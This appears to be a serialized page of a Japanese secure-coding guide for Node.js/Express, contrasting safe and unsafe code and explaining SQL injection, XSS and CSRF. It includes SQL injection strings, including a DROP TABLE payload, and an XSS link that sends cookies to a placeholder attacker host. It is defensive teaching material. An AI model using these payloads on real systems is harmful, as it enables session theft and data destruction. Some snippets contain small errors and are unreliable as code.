'ユーザー名、またはパスワードが正しく入力されていません。' }); \n } \n\n req.session.username = username; \n return res.status(200).json({ message: 'ログインが成功しました' }); \n}); \n\n\u002F\u002F ログインした後、ユーザーの情報を表示する \napp.get('\u002Fprofile', isAuthenticated, (req, res) => { \n const username = req.session.username; \n return res.status(200).json({message: `Thông tin cá nhân: ${username}`}); \n}); \n\n\u002F\u002F ログアウト\napp.post('\u002Flogout', isAuthenticated, (req, res) => {  \n return res.status(200).json({ message: 'ログアウトが成功しました。' }); \n});\n\napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21142,21140],{"__ignoreMap":64},[11,21144,21145],{},"上記の例では、ユーザーがログインに成功したら、ユーザー名をセッションに格納しますが、有効期限を設定しません。ユーザーがログアウトしたとしても、セッションがキャンセルされなく、そのまま存在しています。",[660,21147,21148],{"id":21148},"アクセス制御",[11,21150,21151],{},"アカウントの権限に該当なアクセス権限を正しく付与できるように、HTTPリクエストやAjaxなどで送信されたリクエストを含め、すべての送信されたリクエストに対して、アクセス権限の検証を実行しなければなりません。アクセス権限がない材料へのアクセスを避けます。",[11,21153,21154],{},"ウェブサイトの機能を実行しているコードのロジックに影響されなく、管理しやすくなるように、一元管理を実行する必要があります。",[11,21156,21157],{},"重要な材料へのアクセスは権限が付与されているユーザのみアクセスできるとアクセス制御する必要があります。",[11,21159,21160],{},"アプリはアクセス権限政策についての明細な資料を持たなければなります。",[11,21162,21163],{},"アクセス権限変更、もしくはアクセス権限に関する業務のロジック変更が発生した場合、すぐにアカウントを無効化して、ログインセッションを終了します。ユーザーが再度ログインしなければ、続行できません。",[11,21165,21166],{},"アカウントはしばらく使っていないと、一時的にアカウントを無効化する仕組みを適用します。",[11,21168,21169],{},"クライアント側でユーザーのデータを格納しなけらばならない場合、データを暗号化して、サーバーで整合性を検証しなければなりません。",[11,21171,21172],{},"正しい先に権限を付与します。アクセス権限を持っているユーザーのみ、システムの特定の材料へアクセスできます。",[11,21174,21064],{},[11,21176,21177],{},[20,21178,20964],{},[696,21180,21183],{"className":21181,"code":21182,"language":701},[699],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F たとえ、こちらはユーザーの情報を格納しているデータベース\nconst users = [ \n  { username: 'user1', role: 'admin' }, \n  { username: 'user2', role: 'user' } \n]; \n \n\u002F\u002F ユーザーの権限を検証するミドルウェア \nfunction checkRole(role) { \n  return (req, res, next) => { \n    const user = users.find(user => user.username === req.session.username); \n     \n    if (user && user.role === role) { \n      return next(); \n    } \n    return res.status(403).json({ error: 'アクセス権限がありません。' }); \n  }; \n} \n \napp.use(express.json()); \n \napp.get('\u002Fprofile', (req, res) => { \n  const username = req.session.username; \n  return res.status(200).json({message: `個人情報： ${username}`});\n}); \n \napp.get('\u002Fadmin', checkRole('admin'), (req, res) => { \n  return res.status(200).json({ message: '管理ページ' }); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21184,21182],{"__ignoreMap":64},[11,21186,21187],{},"上記の例では、ユーザーの権限を検証するために、checkRoleミドルウェアを使います。 \u002Fprofile ルートはすべてのユーザーをアクセスさせます。\u002Fadminルートは管理者権限を持っているユーザーのみ管理ページへアクセスさせます。アクセス権限がなければ、403 (Forbidden)というステータスコードが返却されます。",[11,21189,21190],{},[20,21191,20976],{},[696,21193,21196],{"className":21194,"code":21195,"language":701},[699],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F たとえ、こちらはユーザーの情報を格納しているデータベース\nconst users = [ \n  { username: 'user1', role: 'admin' }, \n  { username: 'user2', role: 'user' } \n]; \n \napp.use(express.json()); \n \napp.get('\u002Fprofile', (req, res) => { \n const username = req.session.username; \n return res.status(200).json({message: `T個人情報： ${username}`});\n}); \n \napp.get('\u002Fadmin', (req, res) => { \n return res.status(200).json({ message: '管理ページ' }); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21197,21195],{"__ignoreMap":64},[11,21199,21200],{},"上記の例では、\u002Fprofileと\u002Fadminルートとどちらも権限制限なく、すべてのユーザーをアクセスさせます。というと、一般ユーザでも管理ページへアクセスできるので、とても危ないです。",[660,21202,21203],{"id":21203},"エラーハンドリングとロギング",[11,21205,21206],{},"ウェブサイトでエラーが発生した場合、エラーページの定義を行って返却し、共通エラーを知らせなければなりません。フレームワークのデフォルトエラーページはアプリケーションやバージョンの情報を含めていますので、使わないほうがいいです。",[11,21208,21209],{},"ログは以下のように重要なイベントをすべて記載する必要があります。",[199,21211,21212,21215,21218,21221,21224,21227],{},[34,21213,21214],{},".入力値の全てのバリデーションエラー",[34,21216,21217],{},"全ての例外ケース",[34,21219,21220],{},"全てのアクセス制御のエラー",[34,21222,21223],{},"バリデーションチェックの時の全てのケース、特には失敗したケース",[34,21225,21226],{},"何度もログインしようとしたケース、もしくはセッションの有効期限になったケース",[34,21228,21229],{},"全ての管理機能",[11,21231,21232],{},"ログには余計なシステムの情報、アプリのバージョン情報、またはユーザーのパスワードなどの機密情報を記載しないことです。",[11,21234,21235],{},"ログへのアクセスはアクセス権限を持っているユーザのみに制限します。",[11,21237,21238],{},"ログが重要なイベントの情報を記載する必要です。例えば：イベントが発生した時点、イベントの深刻さ、イベントのタグ、イベントを起こしたアカウントの情報、IPソース、Dest IP、イベントの記載など。",[11,21240,21241],{},"問題が発生した場合、経緯を遡ることができるように、エラーハンドリングの情報は成功イベントや失敗イベントをすべて記載する必要です。",[11,21243,21244],{},"Web サイトからのエラー返信では、システムの詳細、アプリのバージョン、アカウント情報などの機密情報を漏洩しないようにすることです。",[11,21246,21064],{},[11,21248,21249],{},[20,21250,20964],{},[696,21252,21255],{"className":21253,"code":21254,"language":701},[699],"const express = require('express'); \nconst winston = require('winston'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F ロガーを設定する \nconst logger = winston.createLogger({ \n  level: 'info', \n  format: winston.format.simple(), \n  transports: [ \n    new winston.transports.Console(), \n    new winston.transports.File({ filename: 'error.log', level: 'error' }) \n  ] \n}); \n \n\u002F\u002F エラーハンドリング用のミドルウェア  \napp.use((err, req, res, next) => { \n  logger.error(err.stack); \n  res.status(500).json({ error: 'Có lỗi xảy ra.' }); \n}); \n \n\u002F\u002F ルートがエラーを起こしました \napp.get('\u002Ferror', (req, res, next) => { \n  const error = new Error('message error'); \n  next(error); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21256,21254],{"__ignoreMap":64},[11,21258,21259],{},"上記のコードではwinstonライブラリを使って、ロガーを作成し、エラー情報を記載して、\"error.log\"ファイルに格納するように設定します。\u002Ferrorルートはエラーが発生したことを示すために使用されています。このルートで、エラーを起こして、next()という関数でエラーをエラーハンドリングミドルウェアに渡します。ロガーを使用すれば、アプリの管理がより簡単になります。",[11,21261,21262],{},[20,21263,20976],{},[696,21265,21268],{"className":21266,"code":21267,"language":701},[699],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F エラーハンドリング用のミドルウェア  \napp.use((err, req, res, next) => { \n  res.status(500).json({ error: 'Có lỗi xảy ra.' }); \n}); \n \n\u002F\u002F ルートがエラーを起こしました \napp.get('\u002Ferror', (req, res, next) => { \n const error = new Error('message error'); \n next(error); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21269,21267],{"__ignoreMap":64},[11,21271,21272],{},"上記のコードはwinstonライブラリを使って、ロガーを作成し、エラー情報を記載しません。この場合、プログラムにはエラーが発生したら、エラーの調査や修正などが難しいです。",[660,21274,21275],{"id":21275},"データ保護",[11,21277,21278],{},"ユーザー名とパスワードを自動入力する機能を消します。",[11,21280,21281],{},"ユーザー名、パスワード、トーケン、セッションのidなどの機密情報はHTTP GETのパラメータとして渡しません。",[11,21283,21284],{},"ソースコードにデータベース、やユーザーのアクセス情報、またはシステムのほかの機密情報などを含めているコメントなどの必要ないコメントをすべて削除します。",[11,21286,21287],{},"各アカウントの役割に基づいて権限を割り当てることは、不正アクセスや誤ったアクセスを制限し、データの損失を避けるのに貢献します。",[11,21289,21290],{},"サーバーサイドのソースコードがユーザーにダウンロードされないように、ソースコードフォルダーの権限を設定し、ソースコードとその保存パスを漏洩させないようにします。",[11,21292,21293],{},"サーバに格納されている機密情報へのアクセスの制御を適当に実施します。",[11,21295,21296],{},"クライアント側ではHTTPヘッダーのCache-Control: no-storeなどの使用できる機密情報を含めているサイトのキャッシュを無効にします。",[11,21298,21064],{},[11,21300,21301],{},[20,21302,20964],{},[696,21304,21307],{"className":21305,"code":21306,"language":701},[699],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F ユーザー検索\napp.get('\u002Fuser?name=test&email=test@gmail.com', async (req, res) => { \n const result = await userService.userSearch(req.query);\n return res.status(200).json(result);\n}); \n\napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21308,21306],{"__ignoreMap":64},[11,21310,21311],{},"上記のコードでは、 \u002Fuserルートで名前とメールを使ってユーザーを検索して、該当な結果を返します。 名前とメールは機密情報ではないので、普通に検索できます。",[11,21313,21314],{},[20,21315,20976],{},[696,21317,21320],{"className":21318,"code":21319,"language":701},[699],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n\n\u002F\u002F ユーザー検索\napp.get('\u002Fuser?password=test123&email=test@gmail.com', async (req, res) => { \n const result = await userService.userSearch(req.query);\n return res.status(200).json(result);\n}); \n\napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21321,21319],{"__ignoreMap":64},[11,21323,21324],{},"上記のコードでは、 \u002Fuserルートでパスワードとメールを使ってユーザーを検索して、該当な結果を返します。 パスワードは機密情報なので、セキュリティ標準に違反しています。",[660,21326,21327],{"id":21327},"コミュニケーションセキュリティ",[11,21329,21330],{},"別のウェブサイトにアクセスする前にHTTPリファラからセッションのid、トーケンなどの機密情報のパラメータを外すようにします。",[11,21332,21333],{},"外部システムが私たちのシステムにアクセスする場合、TLS接続を設定しなければなりません。",[11,21335,21336],{},"すべての機密情報を転送するためにTLSを使用して暗号化を実行することで、セキュアな通信を保護します。",[11,21338,21339],{},"ウェブサイトですべての認証されたアクセスが必要な内容やすべてのアクセス操作にたいして、常にTLS接続を使用するように設定します。",[11,21341,21342],{},"UTF-8エンコーディング文字セットは暗号化された接続に使用できます。",[11,21344,21345],{},"以下はExpress.jsフレームワークを使用したNode.jsのコードです。",[11,21347,21348],{},[20,21349,20964],{},[696,21351,21354],{"className":21352,"code":21353,"language":701},[699],"const https = require('https'); \nconst fs = require('fs'); \nconst express = require('express'); \nconst port = 443; \nconst app = express(); \n  \napp.get('\u002Fsecure', (req, res) => {\n  console.log('データは安全に渡されます。');\n  res.redirect('https:\u002F\u002Fexample.com'); \n});\n \n\u002F\u002F Tạo server HTTPS\nhttps.createServer({\n key: fs.readFileSync('\u002Fpath\u002Fto\u002Fprivate-key.pem'), \n cert: fs.readFileSync('\u002Fpath\u002Fto\u002Fcertificate.pem')\n}, app).listen(port);\n",[703,21355,21353],{"__ignoreMap":64},[11,21357,21358,21359,21363],{},"上記の例では、httpsモジュールを使用してHTTPSプロトコルを利用するサーバーを作成しました。ユーザーが\u002Fsecureルートにアクセスするとき、データはHTTPSプロトコルを介して安全に転送され、",[57,21360,21361],{"href":21361,"rel":21362},"https:\u002F\u002Fexample.com",[61]," ドメインにリダイレクトされます。情報が転送中に盗まれたり変更されたりすることはなく、HTTP リファラーには機密情報が含まれていないことが保証されます。",[11,21365,21366],{},[20,21367,20976],{},[696,21369,21372],{"className":21370,"code":21371,"language":701},[699],"const https = require('https'); \nconst fs = require('fs'); \nconst express = require('express'); \nconst port = 443; \nconst app = express(); \n \napp.get('\u002Fsecure?session_id=xxx', (req, res) => { \n  res.redirect('https:\u002F\u002Fexample.com'); \n});\n \n\u002F\u002F HTTPSサーバーを作成する\nhttps.createServer({\nkey: fs.readFileSync('\u002Fpath\u002Fto\u002Fprivate-key.pem'), \ncert: fs.readFileSync('\u002Fpath\u002Fto\u002Fcertificate.pem')\n}, app).listen(port);\n",[703,21373,21371],{"__ignoreMap":64},[11,21375,21376,21377,21380,21381,21384],{},"上記の例では、ユーザーが\u002Fsecureルートにアクセスすれば、",[57,21378,21361],{"href":21361,"rel":21379},[61]," ドメインにリダイレクトされます。このとき、HTTPリファラーにはセッションのidなどの機密情報が含まれており、",[57,21382,21361],{"href":21361,"rel":21383},[61]," ドメインからアクセス可能です。",[660,21386,21387],{"id":21387},"システム構成",[11,21389,21390],{},"システム構成を管理しやすく、セキュリティリスクを最小限に抑えるように、ソースコード、バージョン履歴、変更履歴、およびすべてのシステムコンポーネントの変更ログを管理するシステムが必要です。",[11,21392,21393],{},"それぞれの開発、テスト、本番環境は、資源やデータベースを独立にして、共有しないように設定する必要があります。データを効果的に管理し、テストシステムから本番システムへの攻撃のリスクを避けるためです。",[11,21395,21396],{},"HTTPレスポンスからOS、ウェブサーバーバージョン、デバッグ情報、またはソースコードに関連する不要な情報を外すことで、攻撃者が情報を収集し、ウェブサイトへより深く攻撃を回避します。",[11,21398,21399],{},"デプロイする前に、本番環境で使用されないテストコードやデバッグコードなどをソースコードから削除するようにします。",[11,21401,21402],{},"機密情報や重要な情報を含むファイルが漏洩されないように、Webサーバー上でのディレクトリリスティング機能を無効にします。",[11,21404,21405],{},"サーバー、OS、フレームワーク、およびシステムのすべてのコンポーネントが安全でセキュリティホールがないバージョン、できれば最新バージョンを使用するようにします。",[11,21407,21408],{},"公開済みのセキュリティエクスプロイトコードからの攻撃を制限するように、サーバー、OS、フレームワーク、およびシステムのすべてのコンポーネントが、開発者からのセキュリティパッチを常に更新するようにします。",[11,21410,21345],{},[11,21412,21413],{},[20,21414,20964],{},[696,21416,21419],{"className":21417,"code":21418,"language":701},[699],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F データベース構成に環境変数を読み込む \nconst dbConfig = { \n  host: process.env.DB_HOST, \n  username: process.env.DB_USERNAME, \n  password: process.env.DB_PASSWORD, \n  database: process.env.DB_DATABASE' \n}; \n \n\u002F\u002F データベースへの接続を実行する\nfunction connectToDatabase(config) { \n  \u002F\u002F こちらにデータベースに接続するコードを実装する\n} \n \nconnectToDatabase(dbConfig); \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21420,21418],{"__ignoreMap":64},[11,21422,21423],{},"上記の例では、データベースの設定情報（DB_HOST、DB_USERNAME、DB_PASSWORD、DB_DATABASEなど）を環境変数に保存しています。環境変数を使用することで、ソースコードを修正せずにシステムの構成を簡単に調整でき、ソースコードにあるパスワードなどの重要な情報が漏れるリスクを軽減して、システム構成を管理やすく、安全な展開が容易にできます。",[11,21425,21426],{},[20,21427,20976],{},[696,21429,21432],{"className":21430,"code":21431,"language":701},[699],"const express = require('express'); \nconst app = express(); \nconst port = 3000; \n\nconst dbConfig = { \n host: 'host', \n username: 'username', \n password: 'password', \n database: 'database' \n}; \n\n\u002F\u002F データベースへの接続を実行する\nfunction connectToDatabase(config) { \n \u002F\u002F こちらにデータベースに接続するコードを実装する\n} \n\nconnectToDatabase(dbConfig); \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21433,21431],{"__ignoreMap":64},[11,21435,21436],{},"上記の例では、データベースの設定情報を環境変数ではなくコードに直接書き込んでいます。この方法では、システム構成を調整する際にソースコードを修正する必要になり、ソースコードにあるパスワードなどの重要な情報が漏れるリスクがあり、構成の管理と安全な展開が困難になります。",[660,21438,21439],{"id":21439},"データベースのセキュリティ",[11,21441,21442],{},"データベースに接続する各アカウントには、機能、任務、および権限に基づいて明確に異なる権限を付与する必要です。",[11,21444,21445],{},"デフォルトのアカウントやシステムの要件に使用されていないアカウントは、システムから削除するようにします。",[11,21447,21448],{},"アクセスしていないデータベースをクローズします。",[11,21450,21451],{},"データベース接続文字列は個別の設定ファイルに保存され、強力な暗号化アルゴリズムで安全に暗号化する必要があります。",[11,21453,21454],{},"データベースアクセスのアカウント\u002Fパスワードは強固で、デフォルトの情報や推測しやすいものを使用しないほうが良いです。",[11,21456,21457],{},"データベースは最低権限のユーザーで実行され、明確な権限が与えられ、特定のデータベースへのアクセスのみを許可し、他のデータベースからの攻撃やデータの悪用を防止します。",[11,21459,21460],{},"クエリに渡す前に入力データを検証することです。",[11,21462,21463],{},"SQLクエリにパラメータを渡す形で、クエリとデータが独立になります。SQLクエリで文字列を連結する代わりに、パラメータは変数を通じて渡されます。これにより、有害なデータが渡されても、SQLインジェクション攻撃になりません。",[11,21465,21466],{},"以下はExpress.jsフレームワークを使用したNode.jsコードです。",[11,21468,21469],{},[20,21470,20964],{},[696,21472,21475],{"className":21473,"code":21474,"language":701},[699],"const express = require('express'); \nconst mysql = require('mysql'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F データベースに接続する \nconst db = mysql.createConnection({ \n  host: 'localhost', \n  user: 'username', \n  password: 'password', \n  database: 'mydb' \n}); \n \ndb.connect(err => {\n  if (err) {\n    console.error('データベース接続エラー：', err); return; \n  } \n  console.log('データベースへの接続ができました。'); \n}); \n \napp.use(express.json()); \n \n\u002F\u002F 新しい本を作成する \napp.post('\u002Fbook', (req, res) => { \n  const { title, author } = req.body; \n  const query = 'INSERT INTO books (title, author) VALUES (?, ?)'; \n  db.query(query, [title, author], (err, result) => { \n    if (err) { \n      return res.status(500).json({ error: 'エラーが発生しました。' }); \n    } \n    return res.status(201).json({ message: '作成ができました。' }); \n  }); \n}); \n \n\u002F\u002F 本一覧を取得する\napp.get('\u002Fbook', (req, res) => { \n  const query = 'SELECT * FROM books where title = ?'; \n  db.query(query, [title],(err, result) => { \n    if (err) { \n      return res.status(500).json({ error: 'エラーが発生しました。' }); \n    } \n    return res.status(200).json(result); \n  }); \n}); \n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21476,21474],{"__ignoreMap":64},[11,21478,21479],{},"上記の例では、MySQLデータベースに接続して操作するために、mysqlライブラリを使用しています。SQLクエリのセキュリティを守るために、パラメータを使用しています。これにより、ユーザーが有害なデータをSQLクエリに渡すことが回避できて、SQLインジェクション攻撃が防止できます。",[11,21481,21482],{},[20,21483,20976],{},[696,21485,21488],{"className":21486,"code":21487,"language":701},[699],"const express = require('express'); \nconst mysql = require('mysql'); \nconst app = express(); \nconst port = 3000; \n \n\u002F\u002F データベースに接続する \nconst db = mysql.createConnection({ \n host: 'localhost', \n user: 'username', \n password: 'password', \n database: 'mydb' \n}); \n \ndb.connect(err => {\n if (err) {\n   console.error('データベース接続エラー：', err); return; \n } \n console.log('データベースへの接続ができました。'); \n}); \n \napp.use(express.json()); \n \n\u002F\u002F 新しい本を作成する\napp.post('\u002Fbook', (req, res) => { \n const { title, author } = req.body; \n const query = 'INSERT INTO books (title, author) VALUES (title, author)'; \n db.query(query, (err, result) => { \n   if (err) { \n     return res.status(500).json({ error: 'エラーが発生しました。' }); \n   } \n   return res.status(201).json({ message: '作成ができました。' }); \n }); \n}); \n \n\u002F\u002F 本一覧を取得する\napp.get('\u002Fbook', (req, res) => { \n const query = 'SELECT * FROM books where title =' + title; \n db.query(query, (err, result) => { \n   if (err) { \n     return res.status(500).json({ error: 'エラーが発生しました。' }); \n   } \n   return res.status(200).json(result); \n }); \n}); \n\napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21489,21487],{"__ignoreMap":64},[11,21491,21492],{},"上記の例では、SQLクエリにパラメータを渡す代わりに、SQLクエリ内で文字列を連結しています。これで、SQLインジェクション攻撃のリスクが高まります。",[660,21494,21495],{"id":21495},"ファイル管理",[11,21497,21498],{},"攻撃者による不正な変更を防ぐため、フォルダーやファイルの権限を制御するように設定したほうがよいです。",[11,21500,21501],{},"攻撃者がウェブサイトの絶対パス (\u002Fvar\u002Fwww\u002Fhtml\u002Fuploads\u002Ftest.jpgなど) から他の脆弱性を攻撃する可能性があるため、絶対パスを返さないようにします。ファイル名またはファイルを含むディレクトリのパス (\u002Fuploads\u002Ftest.jpgなど) のみを返すようにしたほうが良いです。",[11,21503,21504],{},"ウェブサービスを実行しているサーバーと同じサーバでファイルを保存しないこと。ファイルを別のサーバーに保存するか、Amazon S3などの第三者のファイルストレージサービスを使用するようにします。",[11,21506,21507],{},"サーバーにアップロードを許可するファイル（ヘッダーファイル）の種類すること。アップロード機能に対して、機能要件に適したファイルヘッダーのホワイトリストを作成する必要があります。（例: プロフィール写真のアップロード機能は、Content-typeがimage\u002Fjpegとimage\u002Fpngのみを許可します）。",[11,21509,21510],{},"ユーザーがアップロードを実行する前に認証を求めること。ユーザーの認証は、不正な有害ファイルのアップロードを制限し、攻撃が発生した際にユーザーのトレースに役に立ちます。",[11,21512,21513],{},"サーバーにアップロードを許可するファイルの種類（拡張子ファイル）を制限すること。アップロード機能に対して、機能要件に適したファイルのホワイトリストを作成する必要があります。（例: プロフィール写真のアップロード機能は、pngとjpgのみを許可します。）",[11,21515,21516],{},"ユーザーがアップロードしたファイルを検証するためにウイルススキャナーを使用すること。これで、ユーザーがアップロードした有害なファイルやウイルスがクリアできます。",[11,21518,21519],{},"以下は、Express.jsフレームワークを使用したNode.jsのコードです。",[11,21521,21522],{},[20,21523,20964],{},[696,21525,21528],{"className":21526,"code":21527,"language":701},[699],"const express = require('express'); \nconst fs = require('fs'); \nconst path = require('path'); \nconst app = express(); \nconst port = 3000; \n \napp.use(express.json()); \napp.use(express.static('public')); \n \n\u002F\u002F ファイルダウンロード \napp.get('\u002Fdownload\u002F:filename', (req, res) => { \n const requestedFile = req.params.filename; \n  if (!\u002F^[a-zA-Z0-9._-]+$\u002F.test(requestedFile)) { \n    return res.status(400).send('ファイル名が正しくないです。'); \n  }\n \n  const filePath = path.join(__dirname, 'uploads', requestedFile); \n  if (!fs.existsSync(filePath)) { \n    return res.status(404).json({ error: 'ファイルが存在していません。' }); \n  } \n \n  const fileStream = fs.createReadStream(filePath); \n  res.setHeader('Content-Disposition', `attachment; filename=${requestedFile}`); \n  fileStream.pipe(res); \n});\n \napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21529,21527],{"__ignoreMap":64},[11,21531,21532],{},"上記の例では、ファイルをダウンロードする際、HTTPレスポンスに 'Content-Disposition' ヘッダーを設定するために res.setHeader() メソッドを使用しています。これにより、ファイルは指定された名前で添付ファイルとしてダウンロードされることが指定されます。このように添付ファイルを使用すれば、ユーザーはサーバー上のファイルの絶対パスを知らずに、ファイルを受け取ることができます。これで、システム構造に関する情報を守って、絶対パスに基づく攻撃を防ぎます。",[11,21534,21535],{},[20,21536,20976],{},[696,21538,21541],{"className":21539,"code":21540,"language":701},[699],"const express = require('express'); \nconst fs = require('fs');\nconst path = require('path'); \nconst app = express(); \nconst port = 3000;\n \napp.use(express.static('public'));\n \n\u002F\u002F ファイルダウンロード \napp.get('\u002Fdownload\u002F:filename', (req, res) => { \n  const requestedFile = req.params.filename; \n  const filePath = path.join(__dirname, 'uploads', requestedFile); \n  if (!fs.existsSync(filePath)) { \n    return res.status(404).json({ error: 'ファイルが存在していません。' }); \n  } \n \n  res.download(filePath, requestedFile, err => { \n    if (err) { \n      console.error('ファイルダウンロードエラー：', err); \n      return res.status(500).json({ error: 'エラーが発生しました。' }); \n    } \n  });\n});\n\napp.listen(port, () => {  console.log(`Server running ${port}`); });\n",[703,21542,21540],{"__ignoreMap":64},[11,21544,21545],{},"この例では、ファイルの絶対パスが返されます。",[495,21547,21548],{"id":21548},"一般的な攻撃エラーと予防方法",[660,21550,21552],{"id":21551},"sqlインジェクション","SQLインジェクション",[11,21554,21555],{},"SQLインジェクションは、アプリケーションのクエリの脆弱性を利用する技術です。というと、元のクエリを歪めるためにSQLコードを挿入して実行することによって、データベースからデータを抽出したり、エラーを生成したり、システムのデータを破壊したりすることができます。",[11,21557,21558],{},"例：次のような関数があります。",[696,21560,21563],{"className":21561,"code":21562,"language":701},[699],"const getUserByUserName = (userName: string) => {\n\n const query = 'SELECT * FROM Users WHERE userName = ’ + userName;\n\n return query.excute();\n\n}\n",[703,21564,21562],{"__ignoreMap":64},[11,21566,21567],{},"ユーザーがuserName = 'abc' or '1'='1'を渡すと、SQLクエリ文は次のようになります。",[696,21569,21572],{"className":21570,"code":21571,"language":701},[699],"SELECT * FROM Users WHERE userName = 'abc' or '1'='1';\n",[703,21573,21571],{"__ignoreMap":64},[11,21575,21576],{},"このSQLクエリ文では、常に正しくて、Usersテーブルのすべての情報を返します。",[11,21578,21579],{},"他のケースで、ユーザーがuserName = 'abc'; DROP TABLE Users;を渡すと、SQLクエリ文は以下のようになります。",[696,21581,21584],{"className":21582,"code":21583,"language":701},[699],"SELECT* FROM Users WHERE userName = 'abc';\nDROP TABLE Users;\n",[703,21585,21583],{"__ignoreMap":64},[11,21587,21588],{},"このクエリでUsersテーブルが削除され、非常に危ないです。",[11,21590,21591],{},[20,21592,21593],{},"防止方法",[199,21595,21596,21599,21602],{},[34,21597,21598],{},"ユーザー入力の検証: 正規表現を使用して、不正な文字や数字以外の文字、もしくは変な文字を排除します。",[34,21600,21601],{},"SQLを生成するために文字列を連結しないこと: 文字列を連結する代わりに、パラメータを使用するようにします。不正なデータが入力された場合、SQLエンジンが自動的にエラーを報告するため、コードでの確認は不要です。",[34,21603,21604],{},"純粋なSQLの記述を制限し、ORM（オブジェクト関係マッピング）フレームワークを使用すること: ORMフレームワークはSQLクエリ文を自動生成するため、より安全だということです。",[660,21606,21608],{"id":21607},"クロスサイトスクリプティング-xss","クロスサイトスクリプティング (XSS)",[11,21610,21611],{},"クロスサイトスクリプティング (XSS)は一般的な悪意のあるコードによる攻撃する形です。ハッカーはウェブセキュリティの脆弱性を利用して、スクリプトコードを挿入し、クライアント側でそれを実行します。通常、XSS攻撃はアクセスの認証検証の回避とユーザーのなりすましに使用されています。この攻撃の主な目的は、ユーザーの識別データ（クッキー、セッショントークンなど）を盗み出すことです。",[11,21613,21614],{},"XSS攻撃には主に3つのタイプがあります。",[199,21616,21617,21645,21653],{},[34,21618,21619,21620],{},"反射型XSS（Reflected XSS）\n",[31,21621,21622,21625],{},[34,21623,21624],{},"これはHTTPリクエストからの悪意のあるスクリプトコードを使用した攻撃する形です。ハッカーは悪意のあるスクリプトを含むURLを共有することで、ユーザーのデータを盗み出し、ウェブサイト上でのユーザーのアクセスや操作を乗っ取ります。",[34,21626,21627,21628],{},"例：\n",[31,21629,21630,21639,21642],{},[34,21631,21632,21633],{},"ウェブサイトにアクセスする時、ユーザーは認識せずに、以下の悪意のあるリンクの画像または広告をクリックします。",[696,21634,21637],{"className":21635,"code":21636,"language":701},[699],"http:\u002F\u002Fuser.com\u002Fname=var+i=new+Image;+i.src=”http:\u002F\u002Fabc-hacker.com\u002F”%2Bdocument.cookie;\n",[703,21638,21636],{"__ignoreMap":64},[34,21640,21641],{},"この時、ハッカーは自分のサーバーに送信されるリクエストを確認するだけで、ユーザーのクッキーを取得し、それを使用してユーザーのログインセッションを乗っ取ることができます。",[34,21643,21644],{},"このXSSの特徴は、ハッカーがユーザーに悪意のあるコードを含むリンクを送り、ユーザーがそのリンクにアクセスするようにだます必要がある点です。悪意のあるコードは、ユーザーがリンクにアクセスした瞬間に実行されます。",[34,21646,21647,21648],{},"格納型XSS（Stored XSS）\n",[31,21649,21650],{},[34,21651,21652],{},"これは、ハッカーが入力、テキストエリア、フォームなどの入力データを十分に検証せずにデータベースに悪意のあるコードを挿入する攻撃する形です。ユーザーがアクセスして保存されたデータに関連する操作を行うと、悪意のあるコードがブラウザで即座に実行されます。",[34,21654,21655,21656],{},"DOM-based XSS\n",[31,21657,21658],{},[34,21659,21660],{},"これは、セキュリティホールがサーバーサイドのコードではなく、クライアントサイドのコードに存在する攻撃する形です。この形は、材料のHTMLを変更すること、つまりDOMの構造を変更することに基づいてXSSを悪用します。",[11,21662,21663],{},[20,21664,21593],{},[199,21666,21667,21670,21673],{},[34,21668,21669],{},"データ検証（入力の確認）：ユーザーが提供した入力データが正確であることを確認します。",[34,21671,21672],{},"フィルタリング（ユーザー入力のフィルタリング）：この方法は、ユーザーの入力データから危険なキーワードを見つけ出して、それらをタイムリーに置換または削除するのに役立ちます。",[34,21674,21675],{},"エスケープ：これはXSSを防ぐのにかなり効果的で、文字をエスケープライブラリが使用できる特殊なコードに変更する方法です。",[660,21677,21679],{"id":21678},"クロスサイトリクエストフォージェリcsrf",[20,21680,21681],{},"クロスサイト・リクエスト・フォージェリ（CSRF）",[11,21683,21684],{},"CSRFは、ユーザーが認証されているウェブアプリで望ましくない操作を実行させる攻撃する形です。ソーシャルエンジニアリングのヘルプで（電子メールやチャットを介したリンクの送信など、非テクニカルの攻撃とも呼ばれることがあります）、攻撃者はウェブアプリのユーザーを欺き、攻撃者が選択した操作を実行させることができます。",[11,21686,21687],{},"例：ユーザー1が銀行にログインして、ユーザー2に1000ドルを送金したがったんですが、ユーザー3（攻撃者）がユーザー1に自分に対して送金させたいです。この場合は次のようになります。",[11,21689,21690],{},"もしアプリケーションがGETリクエストを使用してパラメータを渡し、送金の操作を実行するように設計されている場合、次のようなリクエストがあります。",[696,21692,21695],{"className":21693,"code":21694,"language":701},[699]," 